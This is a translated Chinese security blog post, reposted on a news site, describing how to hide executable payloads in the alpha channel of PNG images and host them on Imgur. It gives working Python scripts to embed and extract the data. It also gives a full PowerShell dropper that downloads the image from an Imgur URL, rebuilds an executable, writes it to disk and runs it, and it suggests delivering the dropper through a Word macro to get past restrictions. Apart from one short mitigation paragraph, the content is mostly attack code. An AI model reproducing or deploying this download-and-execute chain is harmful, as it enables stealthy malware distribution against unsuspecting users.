安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】利用Powershell和PNG在Imgur上投毒

 

http://p1.qhimg.com/t016b646f5b8cfd91db.jpg

翻译:shan66


前言


随着许多恶意软件作者开始把PE文件嵌入到图像中,这已经引起了安全研究人员的注意,几个月前卡巴斯基就发表了一篇使用PNG分发恶意软件的有效载荷的研究文章。让人遗憾的是,虽然这些图像的分辨率仅有63×48像素,但大小却达到了1.3 MB。

实际上,这种做法并不是很隐蔽,不过别着急,因为我们找到了更好的办法。

将文件编码到PNG图片中


首先,我们不妨先来了解一下PNG文件本身。与JPEG不同,PNG是无损的,即使在压缩的情况下也是如此,这就意味着以这种格式创建一个图像时,除非改变了其分辨率或颜色调色板,否则的话它会保留已生成的所有数据。与GIF不同,PNG文件是通过Alpha通道来处理透明效果的,而不是颜色替换。

我们能够PNG文件的压缩和alpha通道特性,将数据嵌入到PNG图像文件中去。对于PNG图像的每个像素来说,都是由三个8位值来表示颜色,同时,通过另一个8位值(称为“alpha通道”)来表示透明程度。这意味着每个像素可以表示为R,G,B和A,其中A的取值范围为0-255。

这里是一个示例图像(源自维基百科):

                                             

http://p2.qhimg.com/t01e545516240ebcb39.png

该图片的像素是800×600,具有8位色彩和alpha通道,这意味着该图片中可以保存480,000像素或468 KB的数据。下面,让我们使用Pillow库和Python在这个图片中嵌入数据。

下面是用来嵌入数据的Python脚本:

 from PIL import Image
    from sys import argv
    from base64 import b64encode
 
    i = argv[1]
    o = argv[2]
    with open(argv[3], 'rb') as f:
        text = f.read()
 
    img_in = Image.open(i)
    img_pad = img_in.size[0] * img_in.size[1]
    text = b64encode(text)
    if len(text) < img_pad:
        text = text + '\x00'*(img_pad - len(text))
    else:
        print('File is too large to embed into the image.')
        quit()
    text = [text[i:i+img_in.size[1]] for i in range(0, len(text), img_in.size[1])]
 
    img_size = img_in.size
    img_mode = img_in.mode
    img_o = Image.new(img_mode, img_size)
 
    for ih, tblock in zip(xrange(img_in.size[0]), text):
        for iv, an in zip(xrange(img_in.size[1]), [ord(x) for x in tblock]):
            x, y, z, a = img_in.getpixel((ih, iv))
            pixels = (x, y, z, an)
            img_o.putpixel((ih, iv), pixels)
 
    img_o.save(o)

我们可以利用下列命令来执行上面的程序:

    $ python encode.py image.png image_out.png payload.dat

让我们看看把图像嵌入到图像后是什么样子吧!

http://p9.qhimg.com/t014e84d5324ae1aea9.png

 在这个图像里面,我又编码进去了一个JPEG。该图像显然变得更柔和了,在透明度方面多少有些掉帧的感觉,但通常不至于引起别人的怀疑。通过对编码过程进行一些改进,可以使alpha通道看起来更加自然。

实际上,嵌入其中的图像如下所示:

http://p6.qhimg.com/t015d9e430db32a1fa7.png

下面的Python脚本可以从图像中恢复数据:   

from PIL import Image
    from sys import argv
    from base64 import b64decode
 
    i = argv[1]
    o = ''
    s = argv[2]
 
    img = Image.open(i)
 
    for x in xrange(img.size[0]):
        for y in xrange(img.size[1]):
            p = img.getpixel((x, y))
            p = p[-1]
            o = o + chr(p)
 
    o = o.replace('\000', '')
    o = b64decode(o)
 
    with open(s, 'wb') as f:
        f.write(o)

我们可以通过运行下面的命令来证明没有产生任何的损失: 

 $ md5 blog_sample.png
    MD5 (blog_sample.png) = 694ab6d3260933f75dec92ba01902f9b
    $ python encoder.py blog_sample.png blog_sample.out.png antivirus.jpg
    $ md5 blog_sample.out.png
    MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
    $ md5 antivirus.jpg
    MD5 (antivirus.jpg) = 84893c561288b6a1a9d76f399a89d51b
    $ python decoder.py blog_sample.out.png antivirus.orig.jpg
    $ md5 antivirus.orig.jpg
    MD5 (antivirus.orig.jpg) = 84893c561288b6a1a9d76f399a89d51b

正如您所看到的,这个文件的内容不会因为在图像的Alpha通道中嵌入数据而发生变化。


使用Imgur和Powershell来滥用这个特性


自从在Reddit上首次亮相以来,Imgur已经成为最大的图像托管服务商之一。这主要得益于它可以直接上传图片,而不要求创建帐户。

通过测试发现,Imgur似乎会剥除不属于图像的数据。也就是说,您不能使用旧技术把zip文件和JPEG或PNG简单合并在一起,因为该服务会把这些数据完全剥离掉。

我们知道它会删除这些混合文件,那么它是否会删除我们前面编码进去的数据呢?让我们上传前面的示例图像来检查一下。

$ md5 blog_sample.out.png
    MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
    $ wget https://i.imgur.com/Oj8FhU5.png
    --2016-11-24 13:56:50--  https://i.imgur.com/Oj8FhU5.png
    Resolving i.imgur.com... 151.101.52.193
    Connecting to i.imgur.com|151.101.52.193|:443... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 664208 (649K) [image/png]
    Saving to: 'Oj8FhU5.png'
 
    Oj8FhU5.png               100%[====================================>] 648.64K  2.42MB/s   in 0.3s
 
    2016-11-24 13:56:51 (2.42 MB/s) - 'Oj8FhU5.png' saved [664208/664208]
 
    $ md5 Oj8FhU5.png
    MD5 (Oj8FhU5.png) = 10a4fd1bf52d0bfa50ced699f8c53c39

如您所见,前面制作的文件上传到Imgur后并没有被改变。

那我们现在要怎么办? 这有用吗?好了,Imgur只是万里长征的第一步:无需注册帐户就可以上传图片。为什么不使用它来分发恶意软件,而不必暴露自己太多的信息呢?

有一件事要注意,你必须有能力恢复PNG图像并对其进行处理,因为带有代码执行漏洞的PNG库已经成为过去,只是加载带有有效载荷的图像是不太可能黑掉系统的。

幸运的是,Windows有一个内置的功能,可以直接让你与图像打交道并提取像素数据。为此,可以使用Powershell,而无需任何附加模块。代码如下:

 Add-Type -AssemblyName System.Drawing 
    Add-Type -AssemblyName System.Text.Encoding
 
    $strURL = "http://i.imgur.com/nckqSN1.png"
    $strFilename = "c:\temp\payloadb64.png"
    $peOutputFile = "c:\temp\calc.exe"
 
    Invoke-WebRequest -Uri $strURL -OutFile $strFilename
 
    $image = [System.Drawing.Image]::FromFile($strFilename)
    $peBase64 = @()
    for ($w=0;$w -lt $image.Width;$w++)
    {
        $row = @()
        for ($h=0;$h -lt $image.Height;$h++)
        {
            $pixel = ($image.GetPixel($w,$h)).A
            $pixel = [convert]::toint32($pixel, 10)
            $pixel = [char]$pixel
            $row += $pixel
        }
        $peBase64 = $peBase64 + $row 
    }
 
    $peImage = @()
    foreach ($peValue in $peBase64)
    {
        if ($peValue -ne "`0")
        {
            $peImage = $peImage += $peValue
        }
    }
 
    $peImage = [System.Convert]::FromBase64String($peImage)
    [System.IO.File]::WriteAllBytes($peOutputFile, $peImage)
    & $peOutputFile

该脚本工作流程如下:

从Imgur下载PNG并将其保存到磁盘

1. 使用System.Drawing,读取每个像素并提取alpha(A)的值

2. 确保从数组中删除所有空值(0x00)

3. 对Base64数据进行解码并将文件写入磁盘

4. 将新解码的文件作为可执行文件运行

基于上面的代码,它当然会弹出计算器:

http://p7.qhimg.com/t0153f5b887c3543808.png

 要想执行上面的代码,要求你的系统允许执行Powershell脚本。也就是说,虽然在大多数家用电脑这不是一个安全问题,因为它被默认禁用的,但是许多企业环境都要求启用这项功能。绕过所有限制的方法,是在VBScript的帮助下执行代码,可以在一个Word宏中存储所有这些东西。

 

解决方案


需要记住的一点是,虽然攻击是使用Powershell完成的,但这并不意味着你不能用带有嵌入宏的Word文档来实现这一点。从终端用户角度来看,避免执行任何不需要的代码是避免这种情况的最好方法。



原文链接:http://colin.keigher.ca/2016/12/going-viral-on-imgur-with-powershell.html

未经允许不得转载:安全路透社 » 【技术分享】利用Powershell和PNG在Imgur上投毒

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册